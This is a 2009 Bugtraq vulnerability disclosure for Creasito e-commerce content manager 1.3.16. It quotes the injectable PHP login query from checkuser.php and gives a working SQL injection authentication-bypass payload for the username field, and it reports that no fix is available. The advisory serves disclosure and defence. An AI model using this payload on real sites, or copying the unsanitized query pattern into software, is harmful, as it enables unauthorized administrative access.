[<prev] [next>] [day] [month] [year] [list]
Message-ID: <48317b000904200808rbadfa86gd8bca28480b8fdbd@mail.gmail.com>
Date: Mon, 20 Apr 2009 17:08:20 +0200
From: "Salvatore \"drosophila\" Fresta" <drosophilaxxx@...il.com>
To: Bugtraq <bugtraq@...urityfocus.com>, str0ke <str0ke@...w0rm.com>
Subject: Creasito e-commerce content manager Authentication Bypass
******* Salvatore "drosophila" Fresta *******
[+] Application: creasito e-commerce content manager
[+] Version: 1.3.16
[+] Website: http://creasito.bloghosteria.com
[+] Bugs: [A] Authentication Bypass
[+] Exploitation: Remote
[+] Date: 20 Apr 2009
[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@...il.com
*************************************************
[+] Menu
1) Bugs
2) Code
3) Fix
*************************************************
[+] Bugs
This cms is entirely vulnerable to SQL Injection.
I decided to post authentication bypass security
flaw only.
- [A] Authentication Bypass
[-] Risk: medium
[-] Requisites: magic_quotes_gpc = off
[-] File affected: admin/checkuser.php, checkuser.php
SQL Injection bug allows a guest to bypass the
authentication system. The following is the
vulnerable code:
...
$username = $_POST['username'];
...
$sql = mysql_query("SELECT * FROM amministratore WHERE
username='$username' AND password='$password' AND activated='1'");
...
*************************************************
[+] Code
- [A] Authentication Bypass
Username: -1' OR '1'='1'#
Password: foo
*************************************************
[+] Fix
No fix.
*************************************************
--
Salvatore "drosophila" Fresta
CWNP444351
View attachment "Creasito e-commerce content manager Authentication Bypass-20042009.txt" of type "text/plain" (1329 bytes)
Powered by blists - more mailing lists